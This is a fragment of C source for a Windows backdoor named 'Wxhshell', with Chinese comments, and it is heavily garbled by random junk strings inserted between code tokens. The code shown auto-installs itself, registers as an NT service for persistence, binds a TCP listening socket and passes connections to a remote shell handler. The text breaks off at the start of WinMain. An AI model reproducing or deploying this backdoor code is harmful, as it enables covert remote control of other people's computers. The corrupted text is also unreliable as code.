@m5c<(bkfp // 主模块 b(IZ:ekZ5 int StartWxhshell(LPSTR lpCmdLine) $u~*V { A"e4w? SOCKET wsl; )[S#:PP BOOL val=TRUE;
rp
'^]Zx int port=0; /7 8zs- struct sockaddr_in door; k vpkWD; $@D*/@ if(wscfg.ws_autoins) Install(); J$W4AT 7lx"
X0w*m port=atoi(lpCmdLine); 1> v(&;K +CVB[r#hu if(port<=0) port=wscfg.ws_port; upLjkQ)_ 6b7c9n Z WSADATA data; Jc7}z:U B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *rgF[
: eZoAy[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f\rE{% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /-knqv door.sin_family = AF_INET; J(G-c5&= door.sin_addr.s_addr = inet_addr("127.0.0.1"); P L7(0b% door.sin_port = htons(port); zs(P2$ RWRqu }a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]v/pMg#- closesocket(wsl); !4a#);`G return 1; q;lR|NOh } v, CWE K.=5p/^a if(listen(wsl,2) == INVALID_SOCKET) { %)72glB closesocket(wsl); E/hT/BOPK return 1; QE8`nMf } <-mhz`^ Wxhshell(wsl); ]%ewxF WSACleanup(); VP~(;H5% k*u6'IKi.4 return 0; gAh#H ?MM op@=0d?? } GKbbwT0T| hH9~.4+*`g // 以NT服务方式启动 aZ|?i
} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mr2Mu { !g`I*ZE+e DWORD status = 0; Qcks:|5 DWORD specificError = 0xfffffff; Vo6+| ztk| "hQGk serviceStatus.dwServiceType = SERVICE_WIN32; $bD`B'5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; n!.=05OtX serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '=O1n H< serviceStatus.dwWin32ExitCode = 0; \4LTViY] serviceStatus.dwServiceSpecificExitCode = 0; $hHV Ie]+ serviceStatus.dwCheckPoint = 0; qe'ssX; serviceStatus.dwWaitHint = 0; Fc80HK5R |d z2Drc hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ozhn`9L+1! if (hServiceStatusHandle==0) return; kt0xR)gU AAs&P+;
status = GetLastError(); $.t>* Bq if (status!=NO_ERROR) .heU
Ir, { 9J~\.:jH- serviceStatus.dwCurrentState = SERVICE_STOPPED; %.D!J",\/K serviceStatus.dwCheckPoint = 0; Be6+YM5Cl serviceStatus.dwWaitHint = 0; @ZjO#%Ep/ serviceStatus.dwWin32ExitCode = status; @tPr\F serviceStatus.dwServiceSpecificExitCode = specificError; DRR)mQBb SetServiceStatus(hServiceStatusHandle, &serviceStatus); x@QNMK.7 return; zH Z;Y^{+ } ~ +>ehU >d=pl}-kOQ serviceStatus.dwCurrentState = SERVICE_RUNNING; -Ci&h serviceStatus.dwCheckPoint = 0; )`(]jx! serviceStatus.dwWaitHint = 0; /:Gy . if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jDqG9] } kx d*B
P W1M322]>L // 处理NT服务事件,比如:启动、停止 <G|i5/|7 VOID WINAPI NTServiceHandler(DWORD fdwControl) "oNl!<ep { z6l'v~\ switch(fdwControl) [>r0
(x&. { 09anQHa case SERVICE_CONTROL_STOP: !H)- serviceStatus.dwWin32ExitCode = 0; >$9}" serviceStatus.dwCurrentState = SERVICE_STOPPED; A)3H`L serviceStatus.dwCheckPoint = 0; [`qdpzUp& serviceStatus.dwWaitHint = 0; e3W~6P { nD XEm6|e SetServiceStatus(hServiceStatusHandle, &serviceStatus); NU?<bIQ } PU,$YPrZ return; P_NF;v5v case SERVICE_CONTROL_PAUSE: d)bsyZ;U serviceStatus.dwCurrentState = SERVICE_PAUSED; jLt3jN break; ni%)a case SERVICE_CONTROL_CONTINUE: 1=z[U|&R serviceStatus.dwCurrentState = SERVICE_RUNNING; /z4c>)fV break; dd<l;4( case SERVICE_CONTROL_INTERROGATE: o h\$u5 break; L;$>SLl, }; oPr`SYB SetServiceStatus(hServiceStatusHandle, &serviceStatus); YfB)TK\W9/ } 'UWkJ2:! -qDqJ62mC // 标准应用程序主函数 -u'"l(n)~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oo2d, { 4Ex&A |